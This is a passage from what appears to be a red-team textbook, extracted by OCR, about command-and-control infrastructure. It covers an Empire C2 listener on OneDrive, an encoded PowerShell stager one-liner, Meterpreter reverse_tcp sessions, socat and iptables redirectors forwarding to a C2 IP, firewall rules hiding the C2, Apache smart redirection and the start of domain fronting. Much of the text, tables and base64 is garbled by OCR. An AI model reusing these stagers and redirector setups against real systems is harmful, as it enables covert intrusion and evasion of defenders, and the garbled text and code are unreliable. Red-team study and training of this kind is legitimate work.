Microsoft Graph Permissions

The settings you set here may vary depending on whether you get a token from our ¥1 or V2 endpoint. What's the difference?

Delegated Permissions EEN About delegated permissions

User.Read %

Application Permissions  [I¥E] About application permissions

A window will open to ask which type of platform we want to add. For now, let's

choose Web:

Web Native Application Web API

Add Platform

3

We will then be displayed with a Redirect URLSs field, where we can add the URL:
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Platforms

Allow Implicit Flow

Redirect URLs @

Enter a URL

Logout URL @

e.g. https://myapp.com/end-session

Set the field to https://login.live.com/oauth20 desktop.srf .
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Platforms

Add Platform

Web Delete

Allow Implicit Flow

Redirect URLs @ FeERII:N

https://login.live.com/oauth20_desktop.srf

Logout URL @

e.g. https://myapp.com/end-session

Half of the configuration is now complete. To retrieve the autncode, We need to execute
the listener so that the listener will request the autncode using the ciient1o:

(Empire:

(Empire:

Open the URL given by the Empire C2 to get the AuthCode:
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“~ C @ https://account.live.com/Consent/Update?mkt=

* o RO T H O

¥ Microsoft

zircanavo.abyss@gmail.com

Let this app access your info?

ZAbyssC2-OneDrive needs you to confirm its
permission to:

» Access OneDrive files
« Access your info at any time

Accepting these permissions means that you allow this app to
use your data as specified in their Terms of Service and Privacy
Statement. The publisher has not provided links to their terms
for you to review. You can change these permissions at
https://microsoft.com/consent. Show detalls

Click Yes to continue. The page will be redirected to the blank page. In the URL, we can
find the coce parameter. This is the autncode that we require:

i & @ https:/flogin.live.com/oauth20_desktop.sri?code -G . o= 2057

Now, set the autncode:

(Empire: ) = set AuthCode wuso
(Empire: ;
(Empire:

(Empire:
(Empire:
(Empire:

Everything is ready, so let's start the listener:
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{(Empire:
(Empire:
(Empire:

(Empire:

Now that the listener is ready, we can generate a one-liner stager using the OneDrive
listener:

(Empir )} = usestager multi/launcher
(Empi ) > set Listener onedrive
(Empire: ) > execute
powershell -noP -sta -w 1 -enc JABFAHIAcCgBVAHIAQOB]jAHOAQOBVAGAAUABYAGUAZQBLAHIAZ(OBUAGMAZAGADDATAANAFMAGOBSAGUADYBOAGWAEOBDAGEAbGBAAGKADGBIAGU
ATwA7AEKARGAOACOAUABTAFYARQBSAFMAGQBPAE4AVABhAGIADAB 1AC4AUABTAFYAR OBSAFMAQQOBPAEAAL gBNAGEAQGBVAHTATAAtAGCARQAQADMAK QB 7 ACOARWBOAEYAPOBbAFIAZQBGAF
0ALgBBAFMAUWBFAGOAYgBMAHKAL gBHAEUAVABUAF KACABFACGAIWBTAHKACWBOAGUADDAUAEDAYOBUAGEAZWB L AGBAZ QBUAHOAL gBBAHUAAABVAGOAY()BOAGKAbWBUACAAVOBOAGKADABZA
CcAKQAUACCARWB FAFQAR gBpAEUAYABSAGOAIWAOACCAYWBhAGMAGAB 1AGOARWB YAGBAdOBWAFAAbWB S AGKAYWBSAFMAZ OBDAHOAQQBUAGCAcWANACWAIWBOACCAKWANAGBADgBOAHUAYgBS
AGKAYWASAFMADABhAHOAQOBJACCAK QA7 AEKAR gACACOARWBOAEYAKOBZACOARWBOAE MAPOAKAECAUABGACAARWE LAFQAVEBBAGWAVOBFACQAJABOAFUADABSACKAOWB JAGYAKAAKAECAUAB
DAFSAIWBTAGMACgBpAHAADABCACCAKwWANAGWADWE j AGSATABVAGCAIWBPAGAIAZWANAFOAK OB 7 ACOARWBOAEMAMAANAFMAYWBYAGKACABOAETAIWArACCADABVAGMAOWBMAGBAZWBNAGKAbg
BnACCAXOBbACCARQBUAGEAYgBSAGUAUWS j AHTAQQBWAHQAQQANACSAIWBSAGBAYWBrABWADWBNAGCAQQBUAGCAIWBAADDAMAAZ ACOARWB QAEMAMWANAFMAYWBYAGKACABOAETAIWArACCAD
ABVAGHAaWBMAGBAZWBNAGKAbgBNAC cAXOBbACCARQBUAGEAYgBSAGUAUWB jAHTAaQBwWAHDAQgBSAGBAYWE rAEKAbgBZ AGBAYWBhAHQAQQBVAGAATABVAGCAZWBPAGAAZ WANAFOAPQAWAHDA
JABZAGEATAAIAF SAOWBPAEWATABFAEMAVABJAESATgBTAC4ARWE IAGAAROBSAGKAQWAUAEQASOB JAFOASOBVAE4AQOBYAHKAMWBZ AHOACBIAGAAZWASAFMANOBTAFQAROBtACAATWB CAED
AZOBDAHOAXQBdADOADgBUAEUAdWAOACKADWAKAHYAQOBSACAAQDB EAGDAKAANAEUAD gBhAGIADABTAFMAYWBYAGKACABDAETAIWA rACCADABVAGMAGWBMAGEAZWBNAGKAbgBNACCALAAWAC
kAOWAKAFYAQOBMAC4AQ0BKAGOAKAANAEUADgBhAGTADAB 1 AFMAYWBYAGKACABOAE TADABVAGMAGWS JAGAAdgBVAGMAYOBOAGKAbWBUAEWADWBNAGCAGDBUAGCAIWASADAAK A7 ACOARWBOA
EMARANAEgASWE FAFKAXWBMAEBAQWEBBAEWAXWBNAE EAQWBTAEKAT gB FAFWAUMBVAGYAdAB3AGEACGB 1AFWAUABVAGWAQDB j AGKAZ OBZAFWATOBpAGMACgBYAHMAbWBMAHQAXABXAGKAbgBK
wBzAPWAUABVAHCAZOBYAFMAQAB L AGrAbABCA WBYAGKACABOAETAIWArAC CADABVAGMAGWBMAGBAZWBNAGKADgBNACCAXOAIACQAVBBAEWAFOBFAGWAUWS 1 AHSAWABTAEMAUGB

When the stager 1s executed on the target server, it will connect back to the OneDrive
server and the Empire C2 will update the agent entry with the newly connected agent:

(Empire

(Empire: )
(Empire: : list agents

Let's check the network traffic from the target:
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o,  Tine Source Destnaton Profocel  Length Info

| ey o020 161588 TS 18 Client fello
B MLABALE 100D TS 150 Server bello
497 3.996743  162.15.80.8 192.163.0.228 TLSvl 886 Certificate, Server Key Exchange, Server Hello Done
SOL4.030928  192.168.0.20 162.125.8.8 TLSv1 188 Client Key Exchange, Change Cipher Spec, Encrypted Handsha
S0 4148974 162.125.80.8 192.168.0.220 TSl 113 Change Cipher Spec, Encrypted Handshake Message

519 4.200247  192.168.9.20 162.125.82.8 TS 432 Application Data, Application Data

317 4.626246 162,125,808 192.168.0.220 TLSv1 635 Application Dats

7408 64.626225  162.125.82.8 192.168.6.220 TSI 91 Encrypted Alert

Similar to Dropbox, the SSL certificate used in OneDrive is a valid one.

7462624 162.125.82.8 192.168.0.220 TUSv1 635 Application Dats

7480 64.626205  162.125.82.8 192.168.0.20 TSI 91 Encrypted Alert

Compression Methods Length: 1 4
b Compression Methods (1 nethod)
Extensions Length: 56
4 Extension: server nane (len=27)
Type: server nane (8)
Length: 27
4 Server Name Indication extension
Server Name List length: 25
Server Nlane Type: host name (B)
Server Nane length: 22
S e et oo

nn

) Extension supported groups (Len=)
> Extension: ec_point formats (len=2)
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The cloud-based file-sharing C2s can really help in a situation where it's difficult to get
reverse connections back to our C2. This doesn't mean, however, that we shouldn't look
out for the covert channels that our C2 is using. Covert channels are an important aspect
of a red team operation.
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C2 covert channels

A covert channel is used to communicate secretly. Whereas encryption only protects the
communication from being decoded by unauthorized parties, covert channels aim to hide
the very existence of the communication. Initially, covert channels were identified as a
security threat on monolithic systems such as mainframes. More recently, focus has
shifted towards covert channels in computer network protocols. The huge amount of
data and the vast number of different protocols in the internet make it an ideal high-
bandwidth vehicle for covert communication. Some of the most common protocols that
are used to create a covert channel are as follows.

(The following are referenced from: nttps://holdmybeersecurity.com/2017/10/15/part-3-how-to-r

ed—team—setting—up—environment/)
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TCP

Transmission Control Protocol (TCP) is one of the most common protocols that are
used in networking. We can use it as a C2 covert channel because of its connection-
oriented nature. As there are many TCP communications happening on the wire, the C2
covert channel used can blend in with other TCP communications. The biggest
disadvantage of using TCP as the covert channel, however, is the persistent connection
that 1s established. When checking for active connections on the system, the ssraprrssen
state that is displayed by the netstat command can reveal the communication between the
C2 and the target server. This type of indicator can tell the blue teamer the subnet of the
red team, the IP address of the C2 server(s), the port its connecting back to, and the type
of traffic to block.
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UDP

User Datagram Protocol (UDP) is one of the most difficult protocols to work with.
Malware writers struggle to write malware that is specific to the communication with
the C2 because of its connection-less nature. However, this means that this protocol
doesn't show an estasriseen state when monitoring active connections using necstat, which
gives it a stealthier C2 channel.
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HTTP(S)

Hyper Text Transfer Protocol (HTTP) is apparently the most well-known protocol on
the web. Due to its different web request methods, including cer and rost, it is a viable
C2 channel. Since it is a common protocol that is used by most organizations,
administrators allow the HTTP ports so and 443 for the outbound connection.
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DNS

Domain Name Server (DNS) is the second most commonly used network protocol and
one of the most popular ones for C2 communication with the target server. To set up a
C2 covert channel, DNS uses different methods such as ouery and reseonse. DNS 1s
particularly powerful since no IP addresses need to be recalled and all administrations
depend on DNS to achieve their goals. It is a straightforward method to impart
malware.
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ICMP

Internet Control Management Protocol (ICMP), which is also known as PING, is
also known as PING, is another method that can be used as a C2 channel. Many
administrators allow PING through the firewall so they can check whether the servers
are alive or not. The C2 payloads can be added as padding to the ICMP headers, making
it a unique C2 covert channel.

On the other hand, if the blue team detects our access, they can easily blacklist our C2
IPs forever and our C2s will be burned. However, this does not necessarily mean that
we have to go through the whole installation and configuration procedure again.
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Summary

In this chapter, we have provided an introduction to command and control (C2) servers
and discussed how they are used in a red team operation. We have then covered how we
can use cloud-based file-sharing services as C2s to make the communication between
the target and our C2 stealthier. We have also learned about C2 covert channels and
their importance with some commonly used protocols used in covert channels. In the
next chapter, we will cover the topic of hiding C2s behind a Redirector so that even if
the blue team detects the connection, only our redirector will be burned and not our C2.
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Questions

What all other C2 servers can we use if not cloud based?

. Can we use our personal account for Dropbox?

3. Is it necessary to use a C2 server in the first place? Why not just make our own
system as C27?

4. Are there any automation scripts or tools which can be used to configure the red
team infrastructure automatically?

5. Is there a way to manage multiple C2s from a dashboard?

N —
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Further reading

For more information on the topics discussed in this chapter, please visit the following
links:

® https://holdmybeersecurity.com/2017/10/15/part-3-how-to-red-team-setting-up-environment/

® https://speakerdeck.com/bluscreenofjeff/building-a-better-moat-designing-an-effective-covert-
red-team-attack-infrastructure?slide=10

® https://arno0x0x.wordpress.com/2017/09/07/using-webdav-features-as-a-covert-channel/

® https://securityonline.info/sgl-swiss-army-knife/

® https://nOwhere.net/data-exfiltration-over-dns-request-covert-channel-dnsexfiltrator
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Obfuscating C2s - Introducing
Redirectors

In the previous chapter, we learned about the basics of C2 server and how we can use
file-sharing services like Dropbox and OneDrive as a C2 server. However, from the
blue team's perspective, the unfamiliar IPs will be blacklisted after knowing what those
IPs are for. If our C2 server is blacklisted, our engagement will fail. Consequently, to
protect our C2 servers from being detected by the defenders of the organization, we will
hide our team servers behind another server. This server is called a Redirector and it'll
be responsible for redirecting all the communication to our C2 server.

In this chapter, we will cover the following topics:

e Introduction to redirectors

Obfuscating C2 securely

Short-term (ST) and long-term (LT) redirectors
Payload stager redirection

Domain fronting
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Technical requirements

e Linux
e Armitage
e Socat
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Introduction to redirectors

Let's explore the basics of redirector using a simple example. Take a scenario in which
we have already configured our team server and we're waiting for an incoming
Meterpreter connection on port soso/tcp. Here, the payload is delivered to the target and
has been executed successfully. To follow are the things that will happen next:

On payload execution, the target server will try to connect to our C2 on port soso/tcp.
Upon successful connection, our C2 will send the second stage as follows:

[#] Encoded stage with x86/shikata_ga_nai
[#] Sending encoded stage (179808 bytes) to 182.68.168.52

[#] Meterpreter session 1 opened (172.31.48.83:8080 —> 182.68.168.52:59632) at 2018-09-23 07:36:41 +0000
msf5 exploit(multi/handler) >

A Meterpreter session will then open and we can access this using Armitage:

182.68.168.52

192.168.2.5
PT-PC\PT @ PT-PC

However, the target server's connection table will have our C2s IP in it. This means that
the monitoring team can easily get our C2 IP and block it:
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C:sUserssPI netstat —an

Active Connections

Proto Local Address
TCP .B:135
TCP :445
TCP :Lh4
TCP :3389
TCP 15357
TCP :49152
TCP :49153
TCP 149154
TICP 149155
TCP 14915
TCP ’ .2.50:139 G
TCP . .2.50:3389 192.168.2.7:59563 ESTABLISHED
TCP . .2.5:49525 20.190.145.177:443 ESTABLISHED
TICP . .2.5:50809 13.187.4.58:88 ESTABLISHED
TCP . .2.5:54013 204 .79 .197.213:443 ESTABLISHED
TCP . .2.5:54021 162.125.81 .8:443 ESTABLISHED

-

EEEEEEEEEEEE

EEEEEEEEEEES-

ARG EmE@DE@E&E3
" EE EN EN EN ENE EN EEN EN EE EN
RO EERE @@

iofio gl )
2o E oSS &
20
RO Oom SRS &
RO EEEE T

TCP .168.2.5:59632 54.166.109.171 :8A8A ESTABLISHED

Here's the current situation. This is displayed in an architectural format in order to aid
understanding:

Windows meterpreter
reverse_tcp on port 8080/tcp

Netstat result shows that the listening for incoming
system is connected to C2 connection
— oy
.
o Target connects back to the
— C2 on payload execution
Target

C2

To protect our C2 from being burned, we need to add a redirector in front of our C2.
Refer to the following image for a clear understanding of this process:
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Forwards the connection from

the target to our C2
p=

Windows meterpreter reverse_tcp
on port 8080/tcp listening for
incoming connection from the

Redirector

Netstat result shows that the
system is connected to our
Redirector

—
- Redirector
' Target connects back to
LT theredirector on payload
Target execution -

This 1s currently the IP information of our redirector and C2:

e Redirector IP: 35.153.183.204
o C21IP: 54.166.109.171

Assuming that socat is installed on the redirector server, we will execute the following
command to forward all the communications on the incoming port soso/tcp to our C2:

)
4

:-$ sudo socat TCP4-LISTEN: 8082, fork TCP4:54.166.109.171:8030

Our redirector is now ready. Now let's generate a one-liner payload with a small
change. This time, the 1nost Will be set to the redirector IP instead of the C2:
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Upon execution of the payload, the connection will initiate from the target server and the
server will try to connect with the redirector:

[#] Encoded stage with x86/shikata_ga_nai

[#] Sending encoded stage (179808 bytes) to 35.153.183.284

[#] Meterpreter session 2 opened (172.31.48.83:8080 —> 35.153.183.204:58432) at 2018-09-23 08:38:53 +0000
msf5S exploit(multi/handler) >

We might now notice something different about the following image as the source IP is
redirector instead of the target server:

=
-~

il -_-_h----_"'““h---;.c-;i;;ii;--

35.153.183.204

192.168.2.5
PT-PC\PT @ PT-PC

Let's take a look at the connection table of the target server:
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C:\Users\PT Jnetstat —an

Active Connections

Proto Local Address
TCP A.8.8.8:135

TCP
TCP
TCP
TCP
TCP
TCP
TCP

.B:445
:554
:3389
:5357
:49152
149153
49154

opeiyg

ddress

State

LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING

LISTENING
LISTENING
LISTENING
ESTABLISHED
ESTABLISHED

*HHHEEEEEEEEE
=== =]
:MMMEEEEEEEEE
n | ] [ ] | ]
HEEEEEEEEE
L] L
WEEEEEEEE
L LN am
EEEEEEEEEEEﬂ

L] L L] L L] L

[t Y e Y e B e e Y e Y
| ] | | [ ] n [ ] n n
A RN A NS R N Ay
Lo L &} Lo L &} L} am am

F
B.
d.
B.
d.
@.
B.
@.
B.
a.
@.
a.
1

reign
A.0.8:
8.0.8:
8.0.8:
8.0.08:
B.0.8:
8.0.8:
8.0.8:
B.0.8:
8.0.8:
B.0.8:
B.0.8:
2.168.

92.168.2.7:68841
20.190.145.177:443

A AR A Tl TNTADTTDITT
A el TFi m LafFE LS LU LU Ui Ler

35.153.183.204:8080  ESTABLISHED

A 0N ANC 04 e AAT TNTADTITDITT
AU el eFl af 8 4 i LU LU UL

L. .__..__.3p98@ ESTABLISHED
s LISTENING
LISTENING
LISTENING

Bingo! The connection table doesn't have our C2 IP and neither does the Blue team.
Now the redirector is working perfectly, what could be the issue with this C2-redirector
setup?

Let's perform a port scan on the C2 to check the available open ports:

x¥xZomb13xXx:Downloads Harryd
xXxZomb13xXx:Downloads Harry$
xAxZomb13xXx:Downloads Harry$ nmap 54.166.102.171 -p 8080

Starting Mmop 7.68 ( https://nmop.org O ot Z2818-89-22 14:14 IST
Mmap scan report for ecZ-54-166-102-171.compute-1.amazonaws.com {54.166.109.171)
Host 13 up (@.20s latency).

FORT STATE SERVICE
B2RERStcp open http-proxy

Mmap done: 1 IP address ¢1 host up) scanned in Z.32 seconds
x&xZombi3xXx:Downloads Harry$

As we can see from the preceding screenshot, port soso/tcp 18 open 0N our C2. This means
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that anyone can try to connect to our listener in order to confirm its existence. To avoid
situations like this, we should configure our C2 in such a way that allows us to protect it
from outside reconnaissance (recon) and attacks.
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Obfuscating C2 securely

To put it in a diagrammatic format, our current C2 configuration is this:

Windows meterpreter reverse_fcp on port 8080/tcp

listening for incoming connection from the Redirector
e

Forwards the connection from
the target to our C2

Redirector c2

Accessible to everyone

If someone tries to connect to our C2 server, they will be able to detect that our C2
server 1s running a Meterpreter handler on port soso/tcp:

Windows meterpreter reverse_tcp on port 8080/tcp

listening for incoming connection from the Redirector

3 (Em—
Forwards the connection from

the target to our C2

Connects to port 8080/tcp
on our C2 directly and
Redirector c2 detects meterpreter listener
Accessible to everyone

[

Internet Scanners/ AV
scanners / Blue Team

To protect our C2 server from outside scanning and recon, let's set the following
Uncomplicated Firewall (UFW) ruleset so that only our redirector can connect to our
C2. To begin, execute the following UFW commands to add firewall rules for C2:

sudo ufw allow 22

sudo ufw allow 55553

sudo ufw allow from 35.153.183.204 to any port 8080 proto tcp
sudo ufw allow out to 35.153.183.204 port 8080 proto tcp
sudo ufw deny out to any
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The given commands needs to be executed and the result is shown in the following
screenshot:

. ModTec ¥ sudo ufw status
sudo: unable to resolve host RedTeomlZ: Connection refused
Stotus: active

Action From
ALLOW Anywhere
ALLOW Anywhere
AL LOW

ALLOW Anyne
ALLOW Anywhere

35.153.183. 204 BERERA/ top ALLOW OUT  Anywhere
Arywhere OEMY OUT Arywhere
Arywhere (vo) DEMY QUT Arvwhere (vo)

In addition, execute the following s commands to add firewall rules for redirector as
well:

sudo ufw allow 22
sudo ufw allow 8080

The given commands needs to be executed and the result is shown in the following
screenshot:
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: [ =% sudo ufw status
sudo: unable to resolwe host Redirector
~ ac t1we

From

AL O Anywhere
AL LOW Anywhere
ALLOW Anywhere
AL LOW Anywhere

Once the ruleset is in place, this can be described as follows:

allows 22/tcp, Forwards the connection
8080/tep from the target to our C2 allows 55553/tcp from
anywhere (Armitage)

allows outgoing
connection to Redirector

8080/tcp from C2
Target connects back = p rrom L2

! allows 22/tcp from
to the redirector on

' anywhere (SSH) deny all other outgoing
20/ Redirector anywhere (SSH) =g
8080/tcp connections
. B
Windows meterpreter reverse_tcp on port 8080/tcp

listening for incoming connection from the Redirector
Target
Netstat result shows that the
system is connected to our
Redirector

If we try to perform a port scan on the C2 now, the ports will be shown as fiiterea: as
shown below.
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xXxZomb13xKx:Downloads Harry$
x X Zomb13xKx:Downloads Harry$
xXxZomb13xkx:Downloads Harry$ nmap 54.166.109.171 -p 8080 -Pn

Starting Mmap /.68 ( https://mmap.org ) ot Z2018-09-73 14137 IST
MNnap scan report for ecZ-54-166-109-171,compute-1.amazonaws.com (54.106,109.171)
Host 15 up.

PORT STATE  SERVICE
8080/ tcp filtered http-proxy

Mnap done: 1 IP address (1 host up) scanned in 3.5 seconds
xhxZombi3xkx:Downloads Harry$

Furthermore, our C2 is only accessible from our redirector now. Let's also confirm this
by doing a port scan on our C2 from redirector server:

!

ctors-$ nmap 54.166.109,171 -p 8080 -Pn

Starting Mmap 7,01 ( https://mmap.org ) ot 2018-09-72 09:49 [TC

Mnap scan report for ecZ-34-1o6-109-171.compute-1.amazonaws.com (54.160,189.171)
Host 15 up (8.0017s latency).

PORT STATE SERVICE

8080/ tcp open  http-proxy

Mmap done: 1 IP oddress (1 host up) scanned 1n 0,94 seconds

There are different kinds of redirectors that we can use according to our needs in the red
team engagement.
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Short-term and long-term redirectors

Short-term (ST)—also called short haul—C2 are those C2 servers on which the
beaconing process will continue. Whenever a system in the targeted organization
executes our payload, the server will connect with the ST-C2 server. The payload will
periodically poll for tasks from our C2 server, meaning that the target will call back to
the ST-C2 server every few seconds. The redirector placed in front of our ST-C2
server is called the short-term (ST) redirector. This is responsible for handling ST-
C2 server connections on which the ST-C2 will be used for executing commands on the
target server inreal time. ST and LT redirectors would get caught easily during the
course of engagement because they're placed at the front.

Long-term (LT)—also known as long-haul—C2 server are where the callbacks
received from the target server will be after every few hours or days. The redirector
placed in front of our LT-C2 server is called a long-term (LT) redirector. This
redirector is used to maintain access for a longer period of time than ST redirectors.
When performing persistence via the ST-C2 server, we need to provide the domain of
our LT redirector so that the persistence module running on the target server will
connect back to the LT redirector instead of the ST redirector.

A segregated red team infrastructure setup would look something like this:
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Redirector server - 1

Short Term HTTP C2
(attacker-domainl.com)

-

Vighi Long Term DNS/HTTP G2
(attacker-domain2.com)

Internet

Redirector server - 3

Phishing server
(attacker-domain3.com)

Source: https://payatu.com/wp-content/uploads/2018/08/redteam_infra.png

Once we have a proper red team infrastructure setup, we can focus on the kind of
redirection we want to have in our ST and LT redirectors.
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Redirection methods

There are two ways in which we can perform redirection:

e Dumb pipe redirection
e Filtration/smart redirection
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Dumb pipe redirection

The dumb pipe redirectors blindly forward the network traffic from the target server to
our C2, or vice-versa. This type of redirector is useful for quick configuration and
setup, but they lack a level of control over the incoming traffic. Dumb pipe redirection
will obfuscate (hide) the real IP of our C2, but won't it distract the defenders of the
organization from investigating our setup. We can perform dumb pipe redirection using
socat or iptables. In both cases, the network traffic will be redirected either to our ST-
C2 server or LT-C2 server.

Victim Dumb Redirector Server C2 Server
(attacker-domainl.com)

Source: https://payatu.com/wp-content/uploads/2018/08/dumb_pipe redirection123.png

Let's execute the command given in the following image in order to configure a dumb
pipe redirector which would redirect to our C2 on port soso/«tcp:

e

% sudo socat TCP4-LISTEN:8 ,fork TCP4:54.166.109.171

Following are the commands that we can execute to perform dumb pipe redirection
using iptables:

iptables -I INPUT -p tcp -m tcp --dport 8080 -j ACCEPT

iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 54.166.109.171:8080
iptables -t nat -A POSTROUTING -3j MASQUERADE

iptables -I FORWARD -j ACCEPT

iptables -P FORWARD ACCEPT

sysctl net.ipv4.ip_ forward=1

The given commands needs to be executed and the result is shown in the following
screenshot:
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: unoble t

i unable t

i unable to

: unable to

(Ignore the sudo error here. This has occurred because of the hostname that we changed)

Using socat or iptables, the result would be same i.e. the network traffic on the
redirector's interface will be forwarded to our C2.
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Filtration/smart redirection

Filtration redirection, also known as smart redirection, doesn't just blindly forward the
network traffic to the C2. Smart redirection will always process the network traffic
based on the rules defined by the red team before forwarding it to the C2. In a smart
redirection, 1f the C2 traffic is invalid, the network traffic will either be forwarded to a
legitimate website or it would just drop the packets. Only if the network traffic is for
our C2 will the redirection work accordingly:

C2 Server

&

Victim Dumb Redirector Server
(attacker-clomain.com)

Legit site
(login.microsoftonline.com)

To configure a smart redirection, we need to install a web service and configure it. Let's
install Apache server on the redirector using the sudo apt instai1 apacne2 command:
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14

bun 1% sudo apt install apacheZ
sudo: unable to resolve host Redirector
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:

apacheZ-bin apacheg-data apacheZ-utils libaprl libaprutill libaprutill-dbd-sglite2 libaprutill-ldop 1iblua5.1-@ ssl-cert
Suggested packages:

wiry—browser apached-doc apacheZ-suexec-pristine | apacheZ-suexec-custom openssl-blacklist
The following MNEW packoges will be installed:

apached apacheZ-bin apacheZ-data apachez-utils libaprl libaprutill libaprutill-dbd-sqlite2 libaprutill-ldap liblua5.1-@ ssl-cert
@ upgraded, 1@ newly installed, © to remove and B not upgraded.
Meed to get 1557 kB of archiwves.
After this operation, 64326 kB of additional disk space will be used.
Do you want to continue? [Y/n]
Get:1 http:/fus-east-l.ecZ.archive.ubuntu.com/ubuntu xenial/main amdé4 1ibaprl amde4 1.5.2-3 [86.8 kB]
Get:Z http:/lus-east-1.ecZ.archive.ubuntu.comsubuntu xenialsmain amdé4 libaprutill amdb4 1.5.4-1buildl [77.1 kB]
Get:3 http:/lus-east-l.ecZ.archive.ubuntu.com/ubuntu xenials/main amdo4 1ibaprutill-dbd-sglite3d amde4d 1.5.4-1buildl [10.6 kB]
Get:d http:/fus-east-l.ecZ.archive.ubuntu.comsubuntu xental /main amdod libaprutill-ldap amded 1.5.4-1buildl [8720 B]
Get:> http:/fus-east-l.ecZ.archive.ubuntu.comsubuntu xenialsmain amdo4 1iblua>.1-8 amdod S.1.5-8ubuntul [102 kE]
Get:o http:/fus-east-l.ecZ.archive.ubuntu.com/ubuntu xenial-updatess/main amdod apacheZ-bin amdod Z.4.18-Zubuntu3.9 [925 kB]
Get:7 http://us-east-l.ecZ.archive.ubuntu.comsubunty xenial-updates/main amded apacheZ-utils amded Z.4.18-Zubuntu3.2 [81.8 kB]
Get:8 http://us-east-l.ecZ.archive.ubuntu.com/ubuntu xenial-updatess/main amded apacheZ-data all 2.4.18-Zubuntu2.9 [162 kE]
Get:9 http:/fus-east-l.ecZ.archive.ubuntu.com/ubuntu xenial-updatess/main amded apacheZ amded Z.4.18-Zubuntu3.9 [86.6 kE]
Get:1® http://us-east-l.ecZ.archive.ubuntu.com/ubuntu xenial/main amdéd ssl-cert all 1.8.37 [16.9 kB]
Fetchad 1557 kB in Bs (19.8 MB/s)
Freconfiguring packages ...

We need to execute the following commands as well in order to enable Apache modules
to be rewritten, and also to enable SSL.:

sudo apt-get install apache2

sudo a2enmod ssl rewrite proxy proxy http
sudo a2ensite default-ssl.conf

sudo service apache2 restart

These are all commands that needs to be executed. The result of the executed commands

are shown in the following screenshot:

b un tuBRs $ sudo aZenmod ssl rewrite proxy proxy_http
sudo: unable to resolwe host Redirector
Considering dependency setenwvit for ssl:
Module setenvif already enabled
Considering dependency mime for ssl:
Module mime already enabled
Considering dependency socache_shmcb for ssl:
Enabling module socache_shmech.
Enabling module ssl.
See Jusr/sharesdocsapacheZ/README.Debian.gz on how to configure SSL and create self-signed certificates.
Enabling module rewrite.
Enabling module proxy.
Considering dependency proxy for proxy_http:
Module proxy already enabled
Enabling module proxy_http.
To actiwvate the new configuration, you need to run:
serv1ce apacheZ restart
1% sudo aZensite default-ssl.conf
SUdO: unable to Pesolve host Redirector
Enabling site defaul t-szsl.
To actiwate the new configuration, you need to run:
service apache? reload
Redirec $ sudo serwvice apacheZ restart
sudo unable to resolwe host Redirector

$
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We also need to configure the Apache from its configuration:

$ nano setc/apacheZ/apacheZ.conf

We need to look for the pirectory directive in order to change the aiiowoverride from wone to
a11 s0 that we can use our custom .ntaccess file for web request filtration.

{DiFEEtGFF A0 A i S
Options Indexes FollowSymlinks
Allowlverride MNone
Feguire all granted
</Directory:

We can now set up the virtual host setting and add this to wwwpacktpub. tk (/etc/apachez/sites-

enabled/default—ssl.conf):

D DCumen tl:'l, oot ,.-"'.I War ,.-""I'lll'lll''||I'I||"|.I'I.|I I.r".I

#t Available 1ﬂﬂ1ﬁWﬁlﬂ:

it er

After this, we can generate the payload with a domain such as wwwpacktpub.tx in order to
get a connection.
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Domain fronting

ACCOleﬂg tO nttps://resources.infosecinstitute.com/domain-fronting/"

Domain fronting is a technique that is designed to circumvent the censorship employed for certain domains (censorship
may occur for domains that are not in line with a company's policies, or they may be a result of the bad reputation of a
domain). Domain fronting works at the HTTPS layer and uses different domain names at different layers of the
request (more on this later). To the censors, it looks like the communication is happening between the client and a
permitted domain. However, in reality, communication might be happening between the client and a blocked domain.

To make a start with domain fronting, we need to get a domain that is similar to our
target organization. To check for domains, we can use the domainnunter tool. Let's clone
the repository to continue:

mb 1 Harry$ git clone https://github.com/threatexpr domainhunter

Cloning 1nto "domainhunter'...

remote: Enumer
s Total
i 0 tl /]

We need to install some required Python packages before continuing further. This can be
achieved by executing the pip install -r requirements.txt command as follows:
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xAxZombi3xAx:domainhunter Harry$ sudo pip install -r requirements.txt

Password:

The directory "/Users/Harry/Library/Caches/pip/http’ or its parent directory is not owned by the current user and the cd
Please check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.

The directory "/Users/Harry/Library/Caches/pip" or its parent directory is not owned by the current user and caching whd
check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.

Collecting requests==2.12.0 (from -r reguirements.txt {line 1J)

Downloading https://files.pythonhosted.org/packages/7e/ac/a8Ped@43485a3704053F59Ca92 FEA9CcBal 834469281 71520 Pe8bd3cas
3-none-any.whl (584kB)

102% | [ ©O3 kB 1. ZMBAs
Collecting texttable==0.8.7 (from -r reguirements.txt {line ZJ)

Downloading https://files.pythonhosted.org/packages/65/dd/bab53cllZeddfodeS62ePbeal2bdal F28db2dZ5340c4feb43050a0cBE55]
Requirement already satisfied: beautifulsoupd==4.5.3 in ALibrary/Pythons/Z2.7/s1ite-packages (from -r reguirements.txt (11
Requirement already satisfied: lxml in ZLibrary/Python/2.7/site-packages (from -r reguirements.txt (line 430 (4.2.1)
Collecting pillow==5.0.0 (from -r requirements.txt (linea 53

Downloading https://files.pythonhosted.org/packages/1a/bf/36F7308b053d847113dfO7c3SFCcZ2B39c9326F30b30cZc 24551 f4c2leB4]
m-macosx_10_6_intel .macosx_10_9_ intel.macosx_10_9 x86_64.macosx_10_10_intel.macosx_1@0_10_x86_64.whl (3.5MED

102% |, [ - SME 1.6MBAs
Collecting pytesseract (from -r requirements.txt (line &3)

Downloading https://files.pythonhosted.org’packages/12/56/befaafbaobb36c@3edfdbb3feais4ePoeas24039308093dafe876bFrasdey
gz (169kE)

102% | [ | 74 kE 403kBAs

Installing collected packages: requests, texttable, pillow, pytesseract
Found existing installation: requests Z.18.4
Uninstalling requests-Z.18.4:
Successfully uninstalled requests-Z.18.4
Running setup.py install for texttoble ... done
Found existing installation: Pillow 4.3.0
Uninstalling Pillow-4.3.8:
Successfully uninstalled Pillow-4.3.0

After installation, we can run the tool by executing the pytnon domainnunter.py command as
follows:

xAxZombi3xXx:domainhunter Harry$ python domainhunter.py

| _onb NS

| sl il X e

| S O T I

A W N B B A N
Expired Domains Reputation Checker
Authors: @joevest and @andrewchiles

DISCLAIMER: This is for educational purposes only!

It 1s designed to promote education and the improwvement of computer/cyber security.

The authors or employers are not liable for any 1llegal act or misuse performed by any user of this tool.
If you plan to use this content for illegal purpose, don't. Hawe a nice day :)

[*] Downloading malware domain list from http://mirrorl.malwaredomains.com/files/justdomains

